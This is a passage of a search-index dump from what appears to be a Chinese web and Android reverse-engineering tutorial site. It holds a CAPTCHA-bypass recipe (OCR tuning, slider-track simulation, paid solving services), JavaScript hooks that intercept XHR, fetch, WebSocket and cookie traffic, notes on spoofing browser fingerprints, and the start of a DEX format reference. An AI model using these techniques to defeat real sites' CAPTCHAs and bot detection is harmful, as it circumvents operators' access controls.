","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:7:0","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#进阶练习"},{"categories":null,"collections":null,"content":"练习 1: 提高识别率 尝试不同的预处理方法： # 方法1: 调整二值化阈值 _, binary = cv2.threshold(gray, 150, 255, cv2.THRESH_BINARY) # 方法2: 膨胀和腐蚀 dilate = cv2.dilate(binary, kernel, iterations=1) erode = cv2.erode(dilate, kernel, iterations=1) # 方法3: 去除边框 h, w = gray.shape gray = gray[5:h-5, 5:w-5] ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:7:1","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#练习-1-提高识别率"},{"categories":null,"collections":null,"content":"练习 2: 处理字母验证码 修改 OCR 配置： # 识别字母+数字 text = pytesseract.image_to_string(img, config='--psm 7') # 只识别大写字母+数字 text = pytesseract.image_to_string(img, config='--psm 7 -c tessedit_char_whitelist=ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:7:2","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#练习-2-处理字母验证码"},{"categories":null,"collections":null,"content":"练习 3: 使用机器学习 对于复杂验证码，可以使用深度学习： # 使用 CRNN 模型 import torch from crnn import CRNN model = CRNN() model.load_state_dict(torch.load('captcha_model.pth')) result = model.predict(img) 训练数据: 需要标注 1000+验证码样本 ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:7:3","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#练习-3-使用机器学习"},{"categories":null,"collections":null,"content":"常见问题 ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:8:0","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#常见问题"},{"categories":null,"collections":null,"content":"Q1: OCR 完全识别不出来怎么办？ A: 可能的原因和解决方案： 干扰太强: 尝试更激进的预处理 使用机器学习模型 考虑使用打码平台 字体特殊: 训练 Tesseract 自定义字体 使用深度学习模型 验证码类型不适合 OCR: 滑块验证码 → 使用轨迹模拟 点选验证码 → 使用图像识别 行为验证码 → 分析行为模式 ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:8:1","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#q1-ocr-完全识别不出来怎么办"},{"categories":null,"collections":null,"content":"Q2: 识别率只有 30%，如何提高？ A: 按顺序尝试： 优化预处理 (可提升到 60%) 调整 OCR 参数 (可提升到 70%) 多次识别取最可能结果 (可提升到 80%) 训练自定义模型 (可提升到 90%+) 代码示例: # 多次识别 results = [] for i in range(5): result = recognize_captcha(img) results.append(result) # 取出现最多的结果 from collections import Counter most_common = Counter(results).most_common(1)[0][0] ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:8:2","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#q2-识别率只有-30如何提高"},{"categories":null,"collections":null,"content":"Q3: 何时应该使用打码平台？ A: 以下情况建议使用打码平台： 验证码非常复杂（扭曲、重叠、背景复杂） 识别率低于 60%且优化无效 验证码类型多变 项目预算充足 推荐平台: 超级鹰: http://www.chaojiying.com/ 打码兔: http://www.dama2.com/ 成本: 约 ¥0.001 - ¥0.01 / 张 ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:8:3","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#q3-何时应该使用打码平台"},{"categories":null,"collections":null,"content":"Q4: 如何处理滑块验证码？ A: 滑块验证码不适合 OCR，需要： 模拟滑动轨迹: # 生成模拟人类的轨迹 def generate_track(distance): track = [] current = 0 while current \u003c distance: v = random.randint(1, 5) track.append(v) current += v return track 分析缺口位置: 使用图像识别找到缺口 计算需要移动的距离 参考: 验证码绕过 ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:8:4","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#q4-如何处理滑块验证码"},{"categories":null,"collections":null,"content":"原理解析 ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:9:0","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#原理解析"},{"categories":null,"collections":null,"content":"OCR 工作原理 图片 → 预处理 → 特征提取 → 字符分类 → 文本输出 关键步骤: 二值化: 转为黑白图片，突出文字 去噪: 移除干扰点和线条 分割: 将字符分割为独立的部分 识别: 将每个字符与字库对比 ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:9:1","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#ocr-工作原理"},{"categories":null,"collections":null,"content":"为什么需要预处理？ 原始验证码的干扰： 噪点（随机点） 干扰线（随机线条） 颜色变化 字符粘连或断裂 预处理可以： 去除噪点和线条 统一颜色（黑白） 修复断裂 分离粘连 ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:9:2","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#为什么需要预处理"},{"categories":null,"collections":null,"content":"相关配方 ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:10:0","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#相关配方"},{"categories":null,"collections":null,"content":"基础配方 调试技巧 - 调试验证流程 ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:10:1","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#基础配方"},{"categories":null,"collections":null,"content":"高级配方 验证码识别与绕过 - 更多验证码类型 浏览器指纹 - 行为验证码 ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:10:2","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#高级配方"},{"categories":null,"collections":null,"content":"工具脚本 自动化脚本 - Selenium 自动化 ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:10:3","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#工具脚本"},{"categories":null,"collections":null,"content":"恭喜！ 你已经掌握了： ✅ 验证码流程分析 ✅ OCR 基础使用 ✅ 图像预处理技巧 ✅ 自动化验证码识别 下一步: 深入学习 验证码绕过 或开始 基础配方 的系统学习 小贴士: OCR 不是万能的，复杂验证码需要机器学习 遵守网站的服务条款和请求频率限制 合法合规使用这些技术 Happy Bypassing! ","date":"2024-04-30","objectID":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/:11:0","tags":["浏览器指纹","入门","Selenium","验证码","Web逆向"],"title":"配方：绕过简单验证码","uri":"/reverse_engineering/web/00-quick-start/bypass_simple_captcha/#恭喜"},{"categories":null,"collections":null,"content":"Web API 与 Ajax ","date":"2024-04-28","objectID":"/reverse_engineering/web/01-foundations/web_api_and_ajax/:0:0","tags":["Web","HTTP","浏览器指纹","签名验证","Canvas指纹","JavaScript"],"title":"Web API 与 Ajax","uri":"/reverse_engineering/web/01-foundations/web_api_and_ajax/#web-api-与-ajax"},{"categories":null,"collections":null,"content":"概述 Web API 和 Ajax 是现代 Web 应用的核心。对于逆向工程师来说，理解这些技术是拦截网络请求、分析数据流向以及绕过某些安全检测的基础。 ","date":"2024-04-28","objectID":"/reverse_engineering/web/01-foundations/web_api_and_ajax/:1:0","tags":["Web","HTTP","浏览器指纹","签名验证","Canvas指纹","JavaScript"],"title":"Web API 与 Ajax","uri":"/reverse_engineering/web/01-foundations/web_api_and_ajax/#概述"},{"categories":null,"collections":null,"content":"Ajax 与网络请求 ","date":"2024-04-28","objectID":"/reverse_engineering/web/01-foundations/web_api_and_ajax/:2:0","tags":["Web","HTTP","浏览器指纹","签名验证","Canvas指纹","JavaScript"],"title":"Web API 与 Ajax","uri":"/reverse_engineering/web/01-foundations/web_api_and_ajax/#ajax-与网络请求"},{"categories":null,"collections":null,"content":"1. XMLHttpRequest (XHR) XHR 是传统的 Ajax 实现方式，虽然 Fetch API 越来越流行，但许多老项目和混淆代码（如加密库）仍在使用 XHR。 XHR 生命周期与状态 XHR 对象通过 readyState 属性表示请求状态： 0 (UNSENT): 对象已创建，但未调用 open()。 1 (OPENED): open() 已调用。 2 (HEADERS_RECEIVED): send() 已调用，头部和状态可用。 3 (LOADING): 下载中，responseText 包含部分数据。 4 (DONE): 下载操作完成。 [Reverse Engineering Context] Hook XHR 在逆向中，我们经常 Hook open 和 send 方法来拦截请求参数和修改请求体。 (function () { let originalOpen = XMLHttpRequest.prototype.open; let originalSend = XMLHttpRequest.prototype.send; XMLHttpRequest.prototype.open = function ( method, url, async, user, password ) { // 记录或修改 URL/Method this._url = url; // 保存 URL 供 send 使用 console.log(`[XHR Open] ${method} ${url}`); // 调用原始方法 return originalOpen.apply(this, arguments); }; XMLHttpRequest.prototype.send = function (body) { // 记录或修改请求体 console.log(`[XHR Send] to ${this._url}:`, body); // 如果需要监听响应，可以绑定 onreadystatechange this.addEventListener(\"readystatechange\", function () { if (this.readyState === 4) { console.log( `[XHR Response] from ${this.responseURL}:`, this.responseText.slice(0, 100) ); } }); return originalSend.apply(this, arguments); }; })(); ","date":"2024-04-28","objectID":"/reverse_engineering/web/01-foundations/web_api_and_ajax/:2:1","tags":["Web","HTTP","浏览器指纹","签名验证","Canvas指纹","JavaScript"],"title":"Web API 与 Ajax","uri":"/reverse_engineering/web/01-foundations/web_api_and_ajax/#1-xmlhttprequest-xhr"},{"categories":null,"collections":null,"content":"1. XMLHttpRequest (XHR) XHR 是传统的 Ajax 实现方式，虽然 Fetch API 越来越流行，但许多老项目和混淆代码（如加密库）仍在使用 XHR。 XHR 生命周期与状态 XHR 对象通过 readyState 属性表示请求状态： 0 (UNSENT): 对象已创建，但未调用 open()。 1 (OPENED): open() 已调用。 2 (HEADERS_RECEIVED): send() 已调用，头部和状态可用。 3 (LOADING): 下载中，responseText 包含部分数据。 4 (DONE): 下载操作完成。 [Reverse Engineering Context] Hook XHR 在逆向中，我们经常 Hook open 和 send 方法来拦截请求参数和修改请求体。 (function () { let originalOpen = XMLHttpRequest.prototype.open; let originalSend = XMLHttpRequest.prototype.send; XMLHttpRequest.prototype.open = function ( method, url, async, user, password ) { // 记录或修改 URL/Method this._url = url; // 保存 URL 供 send 使用 console.log(`[XHR Open] ${method} ${url}`); // 调用原始方法 return originalOpen.apply(this, arguments); }; XMLHttpRequest.prototype.send = function (body) { // 记录或修改请求体 console.log(`[XHR Send] to ${this._url}:`, body); // 如果需要监听响应，可以绑定 onreadystatechange this.addEventListener(\"readystatechange\", function () { if (this.readyState === 4) { console.log( `[XHR Response] from ${this.responseURL}:`, this.responseText.slice(0, 100) ); } }); return originalSend.apply(this, arguments); }; })(); ","date":"2024-04-28","objectID":"/reverse_engineering/web/01-foundations/web_api_and_ajax/:2:1","tags":["Web","HTTP","浏览器指纹","签名验证","Canvas指纹","JavaScript"],"title":"Web API 与 Ajax","uri":"/reverse_engineering/web/01-foundations/web_api_and_ajax/#xhr-生命周期与状态"},{"categories":null,"collections":null,"content":"1. XMLHttpRequest (XHR) XHR 是传统的 Ajax 实现方式，虽然 Fetch API 越来越流行，但许多老项目和混淆代码（如加密库）仍在使用 XHR。 XHR 生命周期与状态 XHR 对象通过 readyState 属性表示请求状态： 0 (UNSENT): 对象已创建，但未调用 open()。 1 (OPENED): open() 已调用。 2 (HEADERS_RECEIVED): send() 已调用，头部和状态可用。 3 (LOADING): 下载中，responseText 包含部分数据。 4 (DONE): 下载操作完成。 [Reverse Engineering Context] Hook XHR 在逆向中，我们经常 Hook open 和 send 方法来拦截请求参数和修改请求体。 (function () { let originalOpen = XMLHttpRequest.prototype.open; let originalSend = XMLHttpRequest.prototype.send; XMLHttpRequest.prototype.open = function ( method, url, async, user, password ) { // 记录或修改 URL/Method this._url = url; // 保存 URL 供 send 使用 console.log(`[XHR Open] ${method} ${url}`); // 调用原始方法 return originalOpen.apply(this, arguments); }; XMLHttpRequest.prototype.send = function (body) { // 记录或修改请求体 console.log(`[XHR Send] to ${this._url}:`, body); // 如果需要监听响应，可以绑定 onreadystatechange this.addEventListener(\"readystatechange\", function () { if (this.readyState === 4) { console.log( `[XHR Response] from ${this.responseURL}:`, this.responseText.slice(0, 100) ); } }); return originalSend.apply(this, arguments); }; })(); ","date":"2024-04-28","objectID":"/reverse_engineering/web/01-foundations/web_api_and_ajax/:2:1","tags":["Web","HTTP","浏览器指纹","签名验证","Canvas指纹","JavaScript"],"title":"Web API 与 Ajax","uri":"/reverse_engineering/web/01-foundations/web_api_and_ajax/#reverse-engineering-context-hook-xhr"},{"categories":null,"collections":null,"content":"2. Fetch API Fetch 是基于 Promise 的新一代网络请求 API，语法更简洁，处理方式与 XHR 不同。 基本用法 fetch(\"https://api.example.com/data\", { method: \"POST\", headers: { \"Content-Type\": \"application/json\" }, body: JSON.stringify({ id: 1 }), }) .then((response) =\u003e response.json()) // 解析 JSON .then((data) =\u003e console.log(data)); [Reverse Engineering Context] Hook Fetch Fetch 是全局 window 对象的一个方法，Hook 起来相对简单。 (function () { let originalFetch = window.fetch; window.fetch = async function (url, options) { console.log(`[Fetch] ${url}`, options); // 修改请求参数 if (url.includes(\"/api/sign\")) { // options.headers['X-Modified'] = 'true'; } // 调用原始 fetch let response = await originalFetch(url, options); // 拦截响应（注意：response流只能读取一次，需要clone） let clone = response.clone(); clone.text().then((body) =\u003e { console.log(`[Fetch Response]`, body.slice(0, 100)); }); return response; }; })(); ","date":"2024-04-28","objectID":"/reverse_engineering/web/01-foundations/web_api_and_ajax/:2:2","tags":["Web","HTTP","浏览器指纹","签名验证","Canvas指纹","JavaScript"],"title":"Web API 与 Ajax","uri":"/reverse_engineering/web/01-foundations/web_api_and_ajax/#2-fetch-api"},{"categories":null,"collections":null,"content":"2. Fetch API Fetch 是基于 Promise 的新一代网络请求 API，语法更简洁，处理方式与 XHR 不同。 基本用法 fetch(\"https://api.example.com/data\", { method: \"POST\", headers: { \"Content-Type\": \"application/json\" }, body: JSON.stringify({ id: 1 }), }) .then((response) =\u003e response.json()) // 解析 JSON .then((data) =\u003e console.log(data)); [Reverse Engineering Context] Hook Fetch Fetch 是全局 window 对象的一个方法，Hook 起来相对简单。 (function () { let originalFetch = window.fetch; window.fetch = async function (url, options) { console.log(`[Fetch] ${url}`, options); // 修改请求参数 if (url.includes(\"/api/sign\")) { // options.headers['X-Modified'] = 'true'; } // 调用原始 fetch let response = await originalFetch(url, options); // 拦截响应（注意：response流只能读取一次，需要clone） let clone = response.clone(); clone.text().then((body) =\u003e { console.log(`[Fetch Response]`, body.slice(0, 100)); }); return response; }; })(); ","date":"2024-04-28","objectID":"/reverse_engineering/web/01-foundations/web_api_and_ajax/:2:2","tags":["Web","HTTP","浏览器指纹","签名验证","Canvas指纹","JavaScript"],"title":"Web API 与 Ajax","uri":"/reverse_engineering/web/01-foundations/web_api_and_ajax/#基本用法"},{"categories":null,"collections":null,"content":"2. Fetch API Fetch 是基于 Promise 的新一代网络请求 API，语法更简洁，处理方式与 XHR 不同。 基本用法 fetch(\"https://api.example.com/data\", { method: \"POST\", headers: { \"Content-Type\": \"application/json\" }, body: JSON.stringify({ id: 1 }), }) .then((response) =\u003e response.json()) // 解析 JSON .then((data) =\u003e console.log(data)); [Reverse Engineering Context] Hook Fetch Fetch 是全局 window 对象的一个方法，Hook 起来相对简单。 (function () { let originalFetch = window.fetch; window.fetch = async function (url, options) { console.log(`[Fetch] ${url}`, options); // 修改请求参数 if (url.includes(\"/api/sign\")) { // options.headers['X-Modified'] = 'true'; } // 调用原始 fetch let response = await originalFetch(url, options); // 拦截响应（注意：response流只能读取一次，需要clone） let clone = response.clone(); clone.text().then((body) =\u003e { console.log(`[Fetch Response]`, body.slice(0, 100)); }); return response; }; })(); ","date":"2024-04-28","objectID":"/reverse_engineering/web/01-foundations/web_api_and_ajax/:2:2","tags":["Web","HTTP","浏览器指纹","签名验证","Canvas指纹","JavaScript"],"title":"Web API 与 Ajax","uri":"/reverse_engineering/web/01-foundations/web_api_and_ajax/#reverse-engineering-context-hook-fetch"},{"categories":null,"collections":null,"content":"3. WebSocket WebSocket 提供全双工通信通道。逆向中常用于分析实时数据流（如直播弹幕、股票行情、游戏数据）。 [Reverse Engineering Context] Hook WebSocket 拦截 WebSocket 的 send (发包) 和 onmessage (收包)。 (function () { let OriginalWebSocket = window.WebSocket; window.WebSocket = function (url, protocols) { let ws = new OriginalWebSocket(url, protocols); console.log(`[WebSocket] Connecting to ${url}`); // Hook 发送 let originalSend = ws.send; ws.send = function (data) { console.log(`[WebSocket Send]`, data); return originalSend.apply(this, arguments); }; // Hook 接收 // WebSocket 的 onmessage 属性通常在实例创建后被赋值 // 使用 Object.defineProperty 拦截 setter 是一种更通用的方法 let onmessageVal; Object.defineProperty(ws, \"onmessage\", { configurable: true, enumerable: true, get() { return onmessageVal; }, set(fn) { onmessageVal = function (event) { console.log(`[WebSocket Recv]`, event.data); return fn.apply(this, arguments); }; }, }); return ws; }; // 复制原型链，保持 instanceof 检查通过 window.WebSocket.prototype = OriginalWebSocket.prototype; window.WebSocket.CONNECTING = OriginalWebSocket.CONNECTING; // ... 其他静态属性 })(); ","date":"2024-04-28","objectID":"/reverse_engineering/web/01-foundations/web_api_and_ajax/:2:3","tags":["Web","HTTP","浏览器指纹","签名验证","Canvas指纹","JavaScript"],"title":"Web API 与 Ajax","uri":"/reverse_engineering/web/01-foundations/web_api_and_ajax/#3-websocket"},{"categories":null,"collections":null,"content":"3. WebSocket WebSocket 提供全双工通信通道。逆向中常用于分析实时数据流（如直播弹幕、股票行情、游戏数据）。 [Reverse Engineering Context] Hook WebSocket 拦截 WebSocket 的 send (发包) 和 onmessage (收包)。 (function () { let OriginalWebSocket = window.WebSocket; window.WebSocket = function (url, protocols) { let ws = new OriginalWebSocket(url, protocols); console.log(`[WebSocket] Connecting to ${url}`); // Hook 发送 let originalSend = ws.send; ws.send = function (data) { console.log(`[WebSocket Send]`, data); return originalSend.apply(this, arguments); }; // Hook 接收 // WebSocket 的 onmessage 属性通常在实例创建后被赋值 // 使用 Object.defineProperty 拦截 setter 是一种更通用的方法 let onmessageVal; Object.defineProperty(ws, \"onmessage\", { configurable: true, enumerable: true, get() { return onmessageVal; }, set(fn) { onmessageVal = function (event) { console.log(`[WebSocket Recv]`, event.data); return fn.apply(this, arguments); }; }, }); return ws; }; // 复制原型链，保持 instanceof 检查通过 window.WebSocket.prototype = OriginalWebSocket.prototype; window.WebSocket.CONNECTING = OriginalWebSocket.CONNECTING; // ... 其他静态属性 })(); ","date":"2024-04-28","objectID":"/reverse_engineering/web/01-foundations/web_api_and_ajax/:2:3","tags":["Web","HTTP","浏览器指纹","签名验证","Canvas指纹","JavaScript"],"title":"Web API 与 Ajax","uri":"/reverse_engineering/web/01-foundations/web_api_and_ajax/#reverse-engineering-context-hook-websocket"},{"categories":null,"collections":null,"content":"常用 Web API ","date":"2024-04-28","objectID":"/reverse_engineering/web/01-foundations/web_api_and_ajax/:3:0","tags":["Web","HTTP","浏览器指纹","签名验证","Canvas指纹","JavaScript"],"title":"Web API 与 Ajax","uri":"/reverse_engineering/web/01-foundations/web_api_and_ajax/#常用-web-api"},{"categories":null,"collections":null,"content":"1. Storage API (存储) Web 应用常用本地存储来保存 Session ID、Token 或加密密钥。 localStorage / sessionStorage: 键值对存储。 逆向关注点：localStorage.getItem('token')。 Cookie: 这个比较特殊，通常作为 HTTP 头发送。 逆向关注点：document.cookie 的读写。Hook document.cookie 的 setter 可以追踪 Cookie 的生成位置。 // Hook Cookie Setter Object.defineProperty(document, \"cookie\", { set: function (val) { console.log(\"[Cookie Set]\", val); debugger; // 在此处断点，查看调用栈 // 实际设置 cookie 的逻辑需要小心处理，防止无限递归或失效 // 通常在 hook 中不真正设置，或者通过 document-\u003eproto-\u003ecookie setter }, }); ","date":"2024-04-28","objectID":"/reverse_engineering/web/01-foundations/web_api_and_ajax/:3:1","tags":["Web","HTTP","浏览器指纹","签名验证","Canvas指纹","JavaScript"],"title":"Web API 与 Ajax","uri":"/reverse_engineering/web/01-foundations/web_api_and_ajax/#1-storage-api-存储"},{"categories":null,"collections":null,"content":"2. Canvas API (指纹识别) Canvas 除了绘图，常用于 Canvas Fingerprinting（帆布指纹）。网站在 hidden canvas 上绘制特定文本和图形，转换成 base64，不同浏览器/硬件渲染出的像素有微小差异，生成唯一 ID。 逆向特征: 搜索 toDataURL 或 getImageData。 对抗: 随机化 canvas 渲染结果，或固定返回特定指纹。 ","date":"2024-04-28","objectID":"/reverse_engineering/web/01-foundations/web_api_and_ajax/:3:2","tags":["Web","HTTP","浏览器指纹","签名验证","Canvas指纹","JavaScript"],"title":"Web API 与 Ajax","uri":"/reverse_engineering/web/01-foundations/web_api_and_ajax/#2-canvas-api-指纹识别"},{"categories":null,"collections":null,"content":"3. Navigator API (环境检测) 用于检测浏览器环境，反爬虫常检查以下属性： navigator.userAgent: 浏览器 UA。 navigator.webdriver: 重点，自动化工具（Selenium/Puppeteer）通常为 true。 navigator.plugins: 插件列表。 navigator.languages: 语言。 ","date":"2024-04-28","objectID":"/reverse_engineering/web/01-foundations/web_api_and_ajax/:3:3","tags":["Web","HTTP","浏览器指纹","签名验证","Canvas指纹","JavaScript"],"title":"Web API 与 Ajax","uri":"/reverse_engineering/web/01-foundations/web_api_and_ajax/#3-navigator-api-环境检测"},{"categories":null,"collections":null,"content":"跨域通信 (postMessage) window.postMessage 允许不同源的窗口（如 iframe 和父页面）通信。 // 发送消息 otherWindow.postMessage(message, targetOrigin); // 接收消息 window.addEventListener(\"message\", (event) =\u003e { if (event.origin !== \"http://trusted.com\") return; console.log(event.data); }); 逆向场景: 如果验证码或加密逻辑在 iframe 中，主页面通过 postMessage 获取 token，我们需要关注 message 事件的监听器。 ","date":"2024-04-28","objectID":"/reverse_engineering/web/01-foundations/web_api_and_ajax/:4:0","tags":["Web","HTTP","浏览器指纹","签名验证","Canvas指纹","JavaScript"],"title":"Web API 与 Ajax","uri":"/reverse_engineering/web/01-foundations/web_api_and_ajax/#跨域通信-postmessage"},{"categories":null,"collections":null,"content":"总结 掌握 Web API 的 Hook 技术是 JS 逆向的“基本功”。无论是 XHR/Fetch 的网络层拦截，还是 Cookie/Storage 的数据层监控，亦或是 Canvas/Navigator 的环境层对抗，核心思路都是：找到关键 API -\u003e 替换实现 (Hook) -\u003e 插入监控代码/修改逻辑 -\u003e 调用原始实现。 ","date":"2024-04-28","objectID":"/reverse_engineering/web/01-foundations/web_api_and_ajax/:5:0","tags":["Web","HTTP","浏览器指纹","签名验证","Canvas指纹","JavaScript"],"title":"Web API 与 Ajax","uri":"/reverse_engineering/web/01-foundations/web_api_and_ajax/#总结"},{"categories":null,"collections":null,"content":"DEX 文件相关 DEX (Dalvik Executable) 文件是 Android 操作系统的核心组成部分之一。它们是专门为在内存和处理器速度受限的设备上高效运行而设计的。本指南将深入探讨 DEX 文件的定义、格式、运行原理以及相关工具。 思考：理解 DEX 格式的实战价值 很多初学者会问：“DEX 格式这么复杂，我真的需要了解这些底层细节吗？” 考虑这些实际场景： 加固对抗：当 App 使用了 DEX 加壳（如梆梆、360），你需要知道 DEX 的魔数、签名字段在哪，才能判断脱壳是否完整 动态加载分析：很多 App 会在运行时解密并加载隐藏的 DEX，理解 Class Defs 结构能帮你快速定位被隐藏的恶意代码 Multi-DEX 定位：当你想 Hook 某个类，但不知道它在哪个 classes.dex 中时，理解 String IDs 和 Type IDs 能帮你快速搜索 方法数优化：理解 65536 方法数限制的根本原因（Method IDs 索引用 16 位），能帮你更好地进行模块化设计 ","date":"2024-04-27","objectID":"/reverse_engineering/android/04-reference/foundations/dex_format/:0:0","tags":["Native层","签名验证","Frida","SSL Pinning","Ghidra","加密分析"],"title":"DEX 文件相关","uri":"/reverse_engineering/android/04-reference/foundations/dex_format/#dex-文件相关"},{"categories":null,"collections":null,"content":"DEX 格式不是学术知识，而是你破解加固、分析恶意代码的手术刀。 ","date":"2024-04-27","objectID":"/reverse_engineering/android/04-reference/foundations/dex_format/:1:0","tags":["Native层","签名验证","Frida","SSL Pinning","Ghidra","加密分析"],"title":"DEX 文件相关","uri":"/reverse_engineering/android/04-reference/foundations/dex_format/#dex-格式不是学术知识而是你破解加固分析恶意代码的手术刀"},{"categories":null,"collections":null,"content":"定义与角色 DEX 文件是包含了 Android 应用代码的单个可执行文件。在打包（Build）过程中，Java 编译器首先将 .java 源码文件编译成标准的 Java 字节码 .class 文件。然后，Android SDK 中的 d8 工具（旧版本为 dx）会将所有的 .class 文件（包括项目代码和依赖库）优化并合并成 一个或多个 classes.dex 文件。 这个 classes.dex 文件最终被打包进 APK (Android Package) 中。当用户安装并运行应用时，Android 系统（特别是 ART）会直接执行 DEX 文件中的代码。 核心角色： 紧凑性: 将所有类文件合并，并共享字符串和常量，大大减少了文件体积和 I/O 开销。 高效性: 采用基于寄存器的指令集，更接近底层硬件，执行效率比基于栈的 JVM 更高。 移动优化: 专为内存有限的移动设备设计。 ","date":"2024-04-27","objectID":"/reverse_engineering/android/04-reference/foundations/dex_format/:1:1","tags":["Native层","签名验证","Frida","SSL Pinning","Ghidra","加密分析"],"title":"DEX 文件相关","uri":"/reverse_engineering/android/04-reference/foundations/dex_format/#定义与角色"},{"categories":null,"collections":null,"content":"本文档参考了 Android 官方关于 DEX 文件格式 的说明。 ","date":"2024-04-27","objectID":"/reverse_engineering/android/04-reference/foundations/dex_format/:2:0","tags":["Native层","签名验证","Frida","SSL Pinning","Ghidra","加密分析"],"title":"DEX 文件相关","uri":"/reverse_engineering/android/04-reference/foundations/dex_format/#本文档参考了-android-官方关于-dex-文件格式-的说明"},{"categories":null,"collections":null,"content":"DEX vs. CLASS 特性 .class 文件 (JVM) .dex 文件 (ART/Dalvik) 文件数量 每个源文件对应一个 .class 文件 所有 .class 文件合并成一个或多个 .dex 文件 指令集架构 基于栈 (Stack-based) 基于寄存器 (Register-based) 常量池 每个文件都有自己独立的常量池 所有类共享一个全局的字符串和常量池 冗余信息 大量冗余字符串（如类名、方法名） 字符串和常量去重，通过索引引用，冗余少 平台 任何有 JVM 的地方 Android 平台 转换工具 javac javac -\u003e d8/dx ","date":"2024-04-27","objectID":"/reverse_engineering/android/04-reference/foundations/dex_format/:2:1","tags":["Native层","签名验证","Frida","SSL Pinning","Ghidra","加密分析"],"title":"DEX 文件相关","uri":"/reverse_engineering/android/04-reference/foundations/dex_format/#dex-vs-class"},{"categories":null,"collections":null,"content":"DEX 文件结构 DEX 文件格式非常紧凑和高效，其结构可以大致分为以下几个部分，并由一个 header 来描述整个文件的元数据和偏移量。 逆向技巧：从结构入手快速定位 面对一个陌生的 DEX 文件，如何快速找到你感兴趣的代码？ 自顶向下的分析策略： 看 Header：检查魔数确认文件完整性，查看 class_defs_size 了解有多少个类 搜 String IDs：用 dexdump 或 strings 搜索关键字符串（如 “encrypt”, “http://\"），定位可疑代码 查 Method IDs：通过方法名索引找到具体实现 跳 Class Defs：直接定位到目标类的完整定义 读 Code Item：最后才深入字节码细节 这种\"线索驱动\"的方法，比漫无目的地浏览代码高效得多。 A DEX file consists of several main sections: ","date":"2024-04-27","objectID":"/reverse_engineering/android/04-reference/foundations/dex_format/:2:2","tags":["Native层","签名验证","Frida","SSL Pinning","Ghidra","加密分析"],"title":"DEX 文件相关","uri":"/reverse_engineering/android/04-reference/foundations/dex_format/#dex-文件结构"},{"categories":null,"collections":null,"content":"1. 头部 (Header) Header: 文件头，包含魔数（dex\\n035\\0）、校验和、签名，以及指向其他数据结构（如字符串、类定义等）的偏移量和大小。 String IDs: 字符串标识符列表。包含 DEX 文件中用到的所有字符串（如类名、方法名、变量名、字符串常量），并为每个字符串分配一个唯一的 ID。 Type IDs: 类型标识符列表。包含代码中用到的所有类型（类、接口、数组、基本类型），并指向 String IDs 中的相应字符串。 Proto IDs: 方法原型标识符列表。定义了方法的返回类型和参数类型。 Field IDs: 字段标识符列表。定义了类的成员变量，包括其所属类、类型和名称。 Method 